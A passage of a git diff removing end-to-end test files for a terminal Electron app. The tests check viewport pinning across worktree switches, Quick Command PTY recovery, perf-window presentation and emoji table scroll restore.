51c67e8fe9e..00000000000 --- a/tests/e2e/terminal-perf-presentation.unit.test.ts +++ /dev/null @@ -1,84 +0,0 @@ -import type { ElectronApplication, TestInfo } from '@stablyai/playwright-test' -import { afterEach, describe, expect, it, vi } from 'vitest' -import { - presentTerminalPerfWindow, - shouldPresentTerminalPerfWindow -} from './terminal-perf-presentation' - -describe('terminal perf window presentation', () => { - afterEach(() => vi.unstubAllGlobals()) - const isolatedDisplay = { - ORCA_E2E_TERMINAL_PERF_XVFB: '1', - ORCA_BACKGROUND_LAUNCH: '1', - GITHUB_ACTIONS: 'true', - RUNNER_ENVIRONMENT: 'github-hosted', - DISPLAY: ':99' - } - - it.each(['darwin', 'linux', 'win32'])('keeps ordinary %s runs hidden', (platform) => { - expect(shouldPresentTerminalPerfWindow({}, platform)).toBe(false) - expect( - shouldPresentTerminalPerfWindow( - { ...isolatedDisplay, ORCA_E2E_TERMINAL_PERF_XVFB: '0' }, - platform - ) - ).toBe(false) - }) - - it('permits the explicit hosted Linux CI display', () => { - expect(shouldPresentTerminalPerfWindow(isolatedDisplay, 'linux')).toBe(true) - }) - - it.each(['darwin', 'win32'])('rejects visible diagnostics on %s', (platform) => { - expect(() => shouldPresentTerminalPerfWindow(isolatedDisplay, platform)).toThrow('isolated') - }) - - it.each([ - { ...isolatedDisplay, GITHUB_ACTIONS: undefined }, - { ...isolatedDisplay, GITHUB_ACTIONS: 'false' }, - { ...isolatedDisplay, RUNNER_ENVIRONMENT: 'self-hosted' }, - { ...isolatedDisplay, RUNNER_ENVIRONMENT: undefined }, - { ...isolatedDisplay, DISPLAY: undefined }, - { ...isolatedDisplay, DISPLAY: '' } - ])('rejects a missing isolated display: %j', (env) => { - expect(() => shouldPresentTerminalPerfWindow(env, 'linux')).toThrow('isolated') - }) - - function presentationFixture(env: Record, platform = 'linux') { - vi.stubGlobal('process', { ...process, platform, env }) - const app = { evaluate: vi.fn() } - const info: Pick = { annotations: [] } - return { app, info } - } - - it('does not contact Electron during an ordinary local run', async () => { - const { app, info } = presentationFixture({ ORCA_BACKGROUND_LAUNCH: '1' }) - await presentTerminalPerfWindow(app, info) - expect(app.evaluate).not.toHaveBeenCalled() - expect(info.annotations).toEqual([]) - }) - - it('rejects a local opt-in before contacting Electron', async () => { - const { app, info } = presentationFixture({ ...isolatedDisplay, GITHUB_ACTIONS: undefined }) - await expect(presentTerminalPerfWindow(app, info)).rejects.toThrow('isolated') - expect(app.evaluate).not.toHaveBeenCalled() - expect(info.annotations).toEqual([]) - }) - - it('records presentation only after Electron confirms visibility', async () => { - const { app, info } = presentationFixture(isolatedDisplay) - app.evaluate.mockResolvedValue(true) - await presentTerminalPerfWindow(app, info) - expect(app.evaluate).toHaveBeenCalledOnce() - expect(info.annotations).toEqual([ - { type: 'terminal-perf-presentation', description: 'isolated-xvfb' } - ]) - }) - - it('fails instead of measuring an absent or still-hidden window', async () => { - const { app, info } = presentationFixture(isolatedDisplay) - app.evaluate.mockResolvedValue(false) - await expect(presentTerminalPerfWindow(app, info)).rejects.toThrow('not presented') - expect(info.annotations).toEqual([]) - }) -}) diff --git a/tests/e2e/terminal-pinned-viewport-streaming-switch.spec.ts b/tests/e2e/terminal-pinned-viewport-streaming-switch.spec.ts deleted file mode 100644 index 6c64ae90453..00000000000 --- a/tests/e2e/terminal-pinned-viewport-streaming-switch.spec.ts +++ /dev/null @@ -1,206 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - ensureTerminalVisible, - getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { nodeTerminalCommand } from './terminal-node-command' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -// Stream inline synchronized Working… frames after filling scrollback, continuing while hidden to force snapshot restore on return. -function streamingAgentFixtureScript(runId: string): string { - return ` -async function writeStdout(chunk) { - await new Promise((resolve) => process.stdout.write(chunk, resolve)) -} -let row = 0 -let pre = '' -for (; row < 300; row += 1) { - pre += 'STREAMING_SWITCH_${runId}_ROW_' + String(row).padStart(4, '0') + '\\n' -} -await writeStdout(pre + 'STREAMING_SWITCH_${runId}_PRESTREAM_DONE\\n') -const spinner = ['|', '/', '-', '\\\\'] -for (let tick = 0; tick < 800; tick += 1) { - let frame = '\\x1b[?2026h' - if (tick % 3 === 0) { - frame += '\\r\\x1b[2KSTREAMING_SWITCH_${runId}_ROW_' + String(row).padStart(4, '0') + '\\n' - row += 1 - } - frame += '\\r\\x1b[2KWorking… ' + spinner[tick % 4] + ' tick=' + tick + '\\x1b[?2026l' - await writeStdout(frame) - await new Promise((resolve) => setTimeout(resolve, 50)) -} -` -} - -async function closeFeatureTips(page: Page): Promise { - await page.evaluate(() => { - const store = window.__store - store - ?.getState() - .markFeatureTipsSeen(['orca-cli', 'cmd-j-palette', 'voice-dictation', 'agent-session-search']) - if (store?.getState().activeModal === 'feature-tips') { - store.getState().closeModal() - } - }) -} - -async function pinActiveTerminalNearBottom(page: Page): Promise<{ - tabId: string - targetViewportY: number - baseY: number -}> { - return page.evaluate(() => { - const store = window.__store - const state = store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!tabId || !pane) { - throw new Error('Active terminal pane unavailable') - } - const target = pane.container.querySelector('.xterm') ?? pane.container - target.dispatchEvent( - new WheelEvent('wheel', { - bubbles: true, - cancelable: true, - deltaMode: WheelEvent.DOM_DELTA_PIXEL, - deltaY: -240 - }) - ) - const buffer = pane.terminal.buffer.active - const targetViewportY = Math.max(0, buffer.baseY - 6) - pane.terminal.scrollToLine(targetViewportY) - pane.container - .querySelector('.xterm-viewport') - ?.dispatchEvent(new Event('scroll', { bubbles: true })) - return { tabId, targetViewportY, baseY: buffer.baseY } - }) -} - -async function readSettledViewport( - page: Page, - tabId: string -): Promise<{ viewportY: number; baseY: number }> { - // Wait for parsed replay (regrown scrollback) and stable viewport before reading its position. - let last: { viewportY: number; baseY: number } | null = null - let stableCount = 0 - await expect - .poll( - async () => { - const current = await page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const buffer = pane?.terminal?.buffer?.active - return buffer ? { viewportY: buffer.viewportY, baseY: buffer.baseY } : null - }, tabId) - if (!current || current.baseY < 100) { - stableCount = 0 - last = current - return false - } - if (last && current.viewportY === last.viewportY) { - stableCount += 1 - } else { - stableCount = 0 - } - last = current - return stableCount >= 3 - }, - { - timeout: 20_000, - intervals: [250], - message: 'terminal viewport did not settle after returning to the streaming worktree' - } - ) - .toBe(true) - if (!last) { - throw new Error('viewport settle poll finished without a sample') - } - return last -} - -test.describe('Terminal pinned viewport with streaming agent across worktree switch', () => { - test('returning to a pinned pane with an active stream does not land at the top', async ({ - orcaPage, - testRepoPath - }) => { - await waitForSessionReady(orcaPage) - await closeFeatureTips(orcaPage) - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (id) => id !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'streaming pinned repro needs the seeded secondary worktree') - if (!secondWorktreeId) { - return - } - - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const runId = randomUUID() - const scriptPath = path.join(testRepoPath, `.orca-streaming-switch-${runId}.mjs`) - writeFileSync(scriptPath, streamingAgentFixtureScript(runId)) - - try { - await sendToTerminal(orcaPage, ptyId, `${nodeTerminalCommand([scriptPath])}\r`) - await expect - .poll(() => getTerminalContent(orcaPage, 30_000), { - timeout: 15_000, - message: 'streaming fixture did not reach terminal scrollback' - }) - .toContain(`STREAMING_SWITCH_${runId}_PRESTREAM_DONE`) - - const pinned = await pinActiveTerminalNearBottom(orcaPage) - expect(pinned.baseY).toBeGreaterThan(100) - await orcaPage.waitForTimeout(150) - - // Hidden drops force snapshot restore while the agent continues streaming. - await switchToWorktree(orcaPage, secondWorktreeId) - await waitForActiveTerminalManager(orcaPage, 30_000) - await orcaPage.waitForTimeout(3_000) - - await switchToWorktree(orcaPage, firstWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const settled = await readSettledViewport(orcaPage, pinned.tabId) - const bottomDistance = settled.baseY - settled.viewportY - // Require the six-row user pin; the bug clamped to scrollback’s top. - expect( - settled.viewportY, - `settled at viewportY=${settled.viewportY} baseY=${settled.baseY} (pinned ${JSON.stringify(pinned)})` - ).toBeGreaterThan(20) - expect( - bottomDistance, - `settled ${bottomDistance} rows above the bottom (pinned 6 rows above)` - ).toBeGreaterThan(1) - expect( - bottomDistance, - `settled ${bottomDistance} rows above the bottom (pinned 6 rows above)` - ).toBeLessThan(80) - } finally { - rmSync(scriptPath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-pinned-viewport-worktree-switch.spec.ts b/tests/e2e/terminal-pinned-viewport-worktree-switch.spec.ts deleted file mode 100644 index 84f215665d3..00000000000 --- a/tests/e2e/terminal-pinned-viewport-worktree-switch.spec.ts +++ /dev/null @@ -1,178 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - ensureTerminalVisible, - getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { nodeTerminalCommand } from './terminal-node-command' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -type ViewportSample = { at: number; viewportY: number; baseY: number } - -function scrollbackFixtureScript(runId: string): string { - return ` -async function writeStdout(chunk) { - await new Promise((resolve) => process.stdout.write(chunk, resolve)) - if (process.platform === 'win32') await new Promise((resolve) => setTimeout(resolve, 8)) -} -await writeStdout('\\x1b[?2026h\\x1b[2J\\x1b[H') -for (let index = 0; index < 180; index += 1) { - await writeStdout('PINNED_VIEWPORT_SWITCH_${runId}_ROW_' + String(index).padStart(3, '0') + '\\n') -} -await writeStdout('\\x1b[?2026l') -await writeStdout('PINNED_VIEWPORT_SWITCH_${runId}_DONE\\n') -` -} - -async function closeFeatureTips(page: Page): Promise { - await page.evaluate(() => { - const store = window.__store - store - ?.getState() - .markFeatureTipsSeen(['orca-cli', 'cmd-j-palette', 'voice-dictation', 'agent-session-search']) - if (store?.getState().activeModal === 'feature-tips') { - store.getState().closeModal() - } - }) -} - -async function pinActiveTerminalNearBottom(page: Page): Promise<{ - tabId: string - targetViewportY: number - baseY: number -}> { - return page.evaluate(() => { - const store = window.__store - const state = store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!tabId || !pane) { - throw new Error('Active terminal pane unavailable') - } - const target = pane.container.querySelector('.xterm') ?? pane.container - target.dispatchEvent( - new WheelEvent('wheel', { - bubbles: true, - cancelable: true, - deltaMode: WheelEvent.DOM_DELTA_PIXEL, - deltaY: -240 - }) - ) - const buffer = pane.terminal.buffer.active - const targetViewportY = Math.max(0, buffer.baseY - 6) - pane.terminal.scrollToLine(targetViewportY) - pane.container - .querySelector('.xterm-viewport') - ?.dispatchEvent(new Event('scroll', { bubbles: true })) - return { tabId, targetViewportY, baseY: buffer.baseY } - }) -} - -async function sampleTerminalViewportDuringReturn( - page: Page, - tabId: string, - durationMs: number -): Promise { - return page.evaluate( - ({ tabId, durationMs }) => - new Promise((resolve) => { - const samples: ViewportSample[] = [] - const startedAt = performance.now() - const sample = (): void => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const buffer = pane?.terminal?.buffer?.active - if (buffer) { - samples.push({ - at: Math.round(performance.now() - startedAt), - viewportY: buffer.viewportY, - baseY: buffer.baseY - }) - } - if (performance.now() - startedAt >= durationMs) { - resolve(samples) - return - } - requestAnimationFrame(sample) - } - requestAnimationFrame(sample) - }), - { tabId, durationMs } - ) -} - -test.describe('Terminal pinned viewport worktree switch', () => { - test('does not jump or flash when returning to a viewport pinned just above bottom', async ({ - orcaPage, - testRepoPath - }) => { - await waitForSessionReady(orcaPage) - await closeFeatureTips(orcaPage) - const firstWorktreeId = await waitForActiveWorktree(orcaPage) - const secondWorktreeId = (await getAllWorktreeIds(orcaPage)).find( - (id) => id !== firstWorktreeId - ) - test.skip(!secondWorktreeId, 'pinned viewport repro needs the seeded secondary worktree') - if (!secondWorktreeId) { - return - } - - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - const runId = randomUUID() - const scriptPath = path.join(testRepoPath, `.orca-pinned-viewport-${runId}.mjs`) - writeFileSync(scriptPath, scrollbackFixtureScript(runId)) - - try { - await sendToTerminal(orcaPage, ptyId, `${nodeTerminalCommand([scriptPath])}\r`) - await expect - .poll(() => getTerminalContent(orcaPage, 30_000), { - timeout: 10_000, - message: 'pinned viewport fixture did not reach terminal scrollback' - }) - .toContain(`PINNED_VIEWPORT_SWITCH_${runId}_DONE`) - - const pinned = await pinActiveTerminalNearBottom(orcaPage) - expect(pinned.baseY).toBeGreaterThan(20) - await orcaPage.waitForTimeout(50) - await switchToWorktree(orcaPage, secondWorktreeId) - await waitForActiveTerminalManager(orcaPage, 30_000) - await orcaPage.waitForTimeout(250) - - const samplesPromise = sampleTerminalViewportDuringReturn(orcaPage, pinned.tabId, 450) - await switchToWorktree(orcaPage, firstWorktreeId) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const samples = await samplesPromise - expect(samples.length).toBeGreaterThan(0) - expect(samples.filter((sample) => sample.viewportY <= 1)).toEqual([]) - expect(samples.filter((sample) => sample.viewportY >= sample.baseY - 1)).toEqual([]) - expect( - samples.filter((sample) => Math.abs(sample.viewportY - pinned.targetViewportY) > 1) - ).toEqual([]) - } finally { - rmSync(scriptPath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts b/tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts deleted file mode 100644 index 9e1a7d23682..00000000000 --- a/tests/e2e/terminal-quick-command-pre-bind-recovery.spec.ts +++ /dev/null @@ -1,349 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { existsSync, readFileSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { stripAnsiEscapeSequences } from '../../src/shared/terminal/protocol/escape/ansi-escape-sequences' -import { test, expect } from './helpers/orca-app' -import { - runNodeScriptInTerminal, - stageNodeScriptForTerminal -} from './helpers/run-node-script-in-terminal' -import { registerTerminalPaneMountReadiness } from './helpers/terminal-pane-mount-readiness' -import { - focusActiveTerminalInput, - getTerminalContent, - waitForPaneIdentitySnapshot, - waitForTerminalOutput -} from './helpers/terminal' - -type QuickCommandIdentity = { - marker: string - paneKey: string - pid: number - tabId: string -} - -type QueueObservation = { - pending: boolean - ptyIds: string[] -} - -type QueueObservationWindow = Window & { - __quickCommandQueueObservations?: QueueObservation[] - __stopQuickCommandQueueObservations?: () => void -} - -function exactMarkerLineCount(content: string, marker: string): number { - return stripAnsiEscapeSequences(content) - .split(/\r?\n/) - .map((line) => line.trim()) - .filter((line) => line === marker).length -} - -test.describe('Quick Command startup recovery', () => { - registerTerminalPaneMountReadiness() - - test('visible Quick Command survives a forced pre-bind recovery on one fresh PTY', async ({ - orcaPage - }) => { - const siblingBefore = await waitForPaneIdentitySnapshot(orcaPage, 1) - const siblingPtyId = siblingBefore.panes[0]?.ptyId - if (!siblingPtyId) { - throw new Error('Sibling terminal has no live PTY') - } - - const siblingMarker = `ORCA_QUICK_COMMAND_SIBLING_${randomUUID()}` - const siblingProbe = await runNodeScriptInTerminal( - orcaPage, - siblingPtyId, - `process.stdout.write(${JSON.stringify(`${siblingMarker}\n`)})` - ) - await waitForTerminalOutput(orcaPage, siblingMarker) - siblingProbe.cleanup() - - const marker = `ORCA_QUICK_COMMAND_RECOVERY_${randomUUID()}` - const label = `Recovery sentinel ${randomUUID()}` - const identityPath = path.join(os.tmpdir(), `orca-quick-command-identity-${randomUUID()}.json`) - const staged = stageNodeScriptForTerminal( - ` -const { writeFileSync } = require('node:fs') -const identity = { - marker: ${JSON.stringify(marker)}, - paneKey: process.env.ORCA_PANE_KEY || '', - pid: process.pid, - tabId: process.env.ORCA_TAB_ID || '' -} -writeFileSync(${JSON.stringify(identityPath)}, JSON.stringify(identity), { flag: 'wx' }) -process.stdout.write(${JSON.stringify(`${marker}\n`)}) -`.trim() - ) - - try { - await orcaPage.evaluate( - async ({ command, label }) => { - const store = window.__store - if (!store) { - throw new Error('Renderer store unavailable') - } - await store.getState().updateSettings({ - terminalQuickCommands: [ - { - id: 'e2e-pre-bind-recovery', - label, - scope: { type: 'global' }, - action: 'terminal-command', - command, - appendEnter: true - } - ] - }) - const spawnBarrier = window.__terminalPtyPreSpawnE2EBarrier - if (!spawnBarrier) { - throw new Error('Terminal PTY pre-spawn E2E barrier unavailable') - } - spawnBarrier.arm() - }, - { command: staged.command, label } - ) - - const quickCommandButton = orcaPage.getByRole('button', { - name: `Run quick command: ${label}` - }) - await expect(quickCommandButton).toBeVisible() - await quickCommandButton.click() - await orcaPage.evaluate(async () => { - const spawnBarrier = window.__terminalPtyPreSpawnE2EBarrier - if (!spawnBarrier) { - throw new Error('Terminal PTY pre-spawn E2E barrier unavailable') - } - await spawnBarrier.waitUntilBlocked() - }) - - const blocked = await orcaPage.evaluate(() => { - const store = window.__store - if (!store) { - throw new Error('Renderer store unavailable') - } - const state = store.getState() - const tabId = state.activeTabId - if (!tabId) { - throw new Error('Quick Command did not create an active tab') - } - return { - generation: - state.tabsByWorktree[state.activeWorktreeId ?? '']?.find((tab) => tab.id === tabId) - ?.generation ?? 0, - pending: state.pendingStartupByTabId[tabId]?.command ?? null, - status: window.__terminalPtyPreSpawnE2EBarrier?.status(), - tabId - } - }) - expect(blocked.pending).toBe(staged.command) - expect(blocked.status).toBe('blocked') - - await orcaPage.evaluate((tabId) => { - const store = window.__store - if (!store) { - throw new Error('Renderer store unavailable') - } - const target = window as QueueObservationWindow - const observations: QueueObservation[] = [] - const observe = (): void => { - const state = store.getState() - observations.push({ - pending: state.pendingStartupByTabId[tabId] !== undefined, - ptyIds: [...(state.ptyIdsByTabId[tabId] ?? [])] - }) - } - target.__quickCommandQueueObservations = observations - target.__stopQuickCommandQueueObservations = store.subscribe(observe) - observe() - }, blocked.tabId) - - // No request argument: an external lifecycle remount, which skips the - // recovery ledger entirely and so reports generation 0. - const remountResult = await orcaPage.evaluate((tabId) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Renderer store unavailable') - } - return state.remountTerminalTabForRecovery(tabId) - }, blocked.tabId) - expect(remountResult).toMatchObject({ remounted: true }) - - // Hold the old pre-spawn attempt until successor commit; otherwise loaded CI can finish old teardown before replacement connect. - await expect - .poll( - () => - orcaPage.evaluate( - ({ expectedGeneration, tabId }) => { - const state = window.__store?.getState() - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getPanes()[0] - const tab = state?.tabsByWorktree[state.activeWorktreeId ?? '']?.find( - (candidate) => candidate.id === tabId - ) - return { - generation: tab?.generation ?? 0, - leafReady: Boolean(pane?.leafId), - pending: state?.pendingStartupByTabId[tabId]?.command ?? null, - expectedGeneration - } - }, - { expectedGeneration: blocked.generation + 1, tabId: blocked.tabId } - ), - { message: 'Successor mount did not become ready before barrier release' } - ) - .toEqual({ - generation: blocked.generation + 1, - leafReady: true, - pending: staged.command, - expectedGeneration: blocked.generation + 1 - }) - await orcaPage.evaluate(() => window.__terminalPtyPreSpawnE2EBarrier?.release()) - - let targetPtyId = '' - let targetLeafId = '' - const successorReady = (): Promise<{ - generation: number - leafReady: boolean - pending: string | null - ptyReady: boolean - expectedGeneration: number - }> => - orcaPage.evaluate( - ({ expectedGeneration, tabId }) => { - const state = window.__store?.getState() - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getPanes()[0] - const tab = state?.tabsByWorktree[state.activeWorktreeId ?? '']?.find( - (candidate) => candidate.id === tabId - ) - return { - generation: tab?.generation ?? 0, - leafReady: Boolean(pane?.leafId), - pending: state?.pendingStartupByTabId[tabId]?.command ?? null, - ptyReady: Boolean(pane?.container.dataset.ptyId), - expectedGeneration - } - }, - { expectedGeneration: blocked.generation + 1, tabId: blocked.tabId } - ) - try { - await expect - .poll(successorReady, { - timeout: 60_000, - message: 'Successor mount did not bind its fresh Quick Command PTY' - }) - .toEqual({ - generation: blocked.generation + 1, - leafReady: true, - pending: null, - ptyReady: true, - expectedGeneration: blocked.generation + 1 - }) - } catch (error) { - const diagnostics = await orcaPage.evaluate(() => ({ - ptyConnect: (window as Window & { __ptyConnectDiag?: string[] }).__ptyConnectDiag ?? [], - barrier: window.__terminalPtyPreSpawnE2EBarrier?.status() ?? 'missing' - })) - throw new Error( - `${error instanceof Error ? error.message : String(error)}\nDiagnostics: ${JSON.stringify(diagnostics)}` - ) - } - - const successor = await orcaPage.evaluate((tabId) => { - const pane = window.__paneManagers?.get(tabId)?.getPanes()[0] - return { - leafId: pane?.leafId ?? '', - ptyId: pane?.container.dataset.ptyId ?? '' - } - }, blocked.tabId) - targetPtyId = successor.ptyId - targetLeafId = successor.leafId - expect(targetPtyId).not.toBe('') - expect(targetLeafId).not.toBe('') - expect(targetPtyId).not.toBe(siblingPtyId) - - const queueObservations = await orcaPage.evaluate(() => { - const target = window as QueueObservationWindow - target.__stopQuickCommandQueueObservations?.() - target.__stopQuickCommandQueueObservations = undefined - return target.__quickCommandQueueObservations ?? [] - }) - const firstConsumed = queueObservations.find((observation) => !observation.pending) - expect(firstConsumed?.ptyIds).toContain(targetPtyId) - - await expect - .poll( - () => - orcaPage.evaluate((tabId) => { - const pane = window.__paneManagers?.get(tabId)?.getPanes()[0] - return pane?.serializeAddon.serialize() ?? '' - }, blocked.tabId), - { message: 'Quick Command marker never reached the visible xterm' } - ) - .toContain(marker) - const targetContent = await orcaPage.evaluate((tabId) => { - const pane = window.__paneManagers?.get(tabId)?.getPanes()[0] - return pane?.serializeAddon.serialize() ?? '' - }, blocked.tabId) - expect(exactMarkerLineCount(targetContent, marker)).toBe(1) - - await expect.poll(() => existsSync(identityPath)).toBe(true) - const identity = JSON.parse(readFileSync(identityPath, 'utf8')) as QuickCommandIdentity - expect(identity).toMatchObject({ - marker, - paneKey: `${blocked.tabId}:${targetLeafId}`, - tabId: blocked.tabId - }) - expect(identity.pid).toBeGreaterThan(0) - - const ptyIdentity = await orcaPage.evaluate( - async ({ siblingPtyId, siblingTabId, tabId, targetPtyId }) => { - const state = window.__store?.getState() - const layout = state?.terminalLayoutsByTabId[tabId] - const sessions = await window.api.pty.listSessions() - return { - layoutPtyIds: Object.values(layout?.ptyIdsByLeafId ?? {}), - siblingLive: await window.api.pty.hasPty(siblingPtyId), - siblingStorePtyIds: state?.ptyIdsByTabId[siblingTabId] ?? [], - targetLive: await window.api.pty.hasPty(targetPtyId), - targetSessionIds: sessions - .filter((session) => session.id === targetPtyId) - .map((session) => session.id), - targetStorePtyIds: state?.ptyIdsByTabId[tabId] ?? [] - } - }, - { siblingPtyId, siblingTabId: siblingBefore.tabId, tabId: blocked.tabId, targetPtyId } - ) - expect(ptyIdentity.targetLive).toBe(true) - expect(ptyIdentity.targetSessionIds).toEqual([targetPtyId]) - expect(ptyIdentity.targetStorePtyIds).toContain(targetPtyId) - expect(ptyIdentity.layoutPtyIds).toContain(targetPtyId) - expect(ptyIdentity.siblingLive).toBe(true) - expect(ptyIdentity.siblingStorePtyIds).toContain(siblingPtyId) - - const siblingAfterMarker = `ORCA_QUICK_COMMAND_SIBLING_AFTER_${randomUUID()}` - await orcaPage.evaluate( - (tabId) => window.__store?.getState().setActiveTab(tabId), - siblingBefore.tabId - ) - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().activeTabId)) - .toBe(siblingBefore.tabId) - await focusActiveTerminalInput(orcaPage) - await orcaPage.keyboard.type(`echo ${siblingAfterMarker}`) - await orcaPage.keyboard.press('Enter') - await expect - .poll(async () => (await getTerminalContent(orcaPage)).split(siblingAfterMarker).length - 1) - .toBeGreaterThanOrEqual(1) - } finally { - await orcaPage - .evaluate(() => window.__terminalPtyPreSpawnE2EBarrier?.release()) - .catch(() => {}) - staged.cleanup() - rmSync(identityPath, { force: true }) - } - }) -}) diff --git a/tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts b/tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts deleted file mode 100644 index ef4ccd5e6eb..00000000000 --- a/tests/e2e/terminal-raw-emoji-table-scroll-restore.spec.ts +++ /dev/null @@ -1,588 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { readFileSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - ensureTerminalVisible, - getAllWorktreeIds, - switchToWorktree, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { scrollActiveTerminalToText } from './artificial-opencode-active-terminal-scroll' -import { nodeTerminalCommand } from './terminal-node-command' - -type BrowserTerminalPane = { - id: number - terminal: { - cols: number - rows: number - buffer: { - active: { - baseY: number - length: number - viewportY: number - getLine: (index: number) => - | { - isWrapped?: boolean - translateToString: (trimRight?: boolean) => string - } - | undefined - } - } - focus: () => void - scrollToBottom: () => void - _core?: { - coreService?: { isCursorHidden?: boolean } - _renderService?: { dimensions?: { css?: { cell?: { width?: number } } } } - } - } - container: HTMLElement -} - -type RawTableDebugWindow = Window & { - getActiveTestPane?: () => BrowserTerminalPane -} - -const EMOJI_TABLE_FIXTURE = readFileSync( - path.join(__dirname, 'fixtures', 'terminal-emoji-table.md'), - 'utf8' -) -const RAW_EMOJI_BOX_TABLE_COLUMN_WIDTHS = [5, 17, 10, 25, 23, 12, 10, 10] as const -const RAW_EMOJI_BOX_TABLE_WIDTH = - RAW_EMOJI_BOX_TABLE_COLUMN_WIDTHS.reduce((sum, width) => sum + width, 0) + - RAW_EMOJI_BOX_TABLE_COLUMN_WIDTHS.length * 3 + - 1 - -function rawEmojiFixtureBoxTableScript(table: string, runId: string): string { - const marker = `RAW_EMOJI_FIXTURE_TABLE_RESTORE_${runId}` - const frameTailMarker = rawEmojiFixtureFrameTailMarker(runId) - return ` -const table = ${JSON.stringify(table)} -const widths = ${JSON.stringify(RAW_EMOJI_BOX_TABLE_COLUMN_WIDTHS)} -const border = { - top: ['┌', '┬', '┐'], - middle: ['├', '┼', '┤'], - bottom: ['└', '┴', '┘'], - vertical: '│', - horizontal: '─' -} -const segmenter = - typeof Intl.Segmenter === 'function' - ? new Intl.Segmenter(undefined, { granularity: 'grapheme' }) - : null -function splitMarkdownRow(row) { - return row.trim().slice(1, -1).split('|').map((cell) => cell.trim()) -} -function isSeparatorRow(row) { - return /^\\|(?:\\s*:?-+:?\\s*\\|)+\\s*$/.test(row) -} -function graphemes(text) { - if (!segmenter) return Array.from(String(text)) - return Array.from(segmenter.segment(String(text)), (part) => part.segment) -} -function isWideCodePoint(codePoint) { - return codePoint > 0xffff || - (codePoint >= 0x1100 && codePoint <= 0x115f) || - (codePoint >= 0x2e80 && codePoint <= 0xa4cf) || - (codePoint >= 0xac00 && codePoint <= 0xd7a3) || - (codePoint >= 0xf900 && codePoint <= 0xfaff) || - (codePoint >= 0xfe10 && codePoint <= 0xfe6f) || - (codePoint >= 0xff00 && codePoint <= 0xff60) || - (codePoint >= 0xffe0 && codePoint <= 0xffe6) -} -function cellWidth(text) { - let width = 0 - for (const cluster of graphemes(text)) { - if (cluster.includes('\\u200d')) { - width += 2 - continue - } - const codePoint = cluster.codePointAt(0) - if (codePoint === undefined || (codePoint >= 0x0300 && codePoint <= 0x036f)) continue - if (codePoint === 0xfe0f || codePoint === 0x200d) continue - width += isWideCodePoint(codePoint) ? 2 : 1 - } - return width -} -function clipCell(value, width) { - let text = '' - let used = 0 - for (const cluster of graphemes(value)) { - const nextWidth = cellWidth(cluster) - if (used + nextWidth > width) break - text += cluster - used += nextWidth - } - return text + ' '.repeat(Math.max(0, width - used)) -} -function rule(parts) { - return parts[0] + widths.map((width) => border.horizontal.repeat(width + 2)).join(parts[1]) + parts[2] -} -function renderRow(cells) { - return ( - border.vertical + - widths.map((width, index) => ' ' + clipCell(cells[index] ?? '', width) + ' ').join(border.vertical) + - border.vertical - ) -} -// Why: Windows ConPTY can drop or reorder the tail of one large synchronized -// frame. Drain and yield between chunks so the golden waits on transport, not luck. -async function 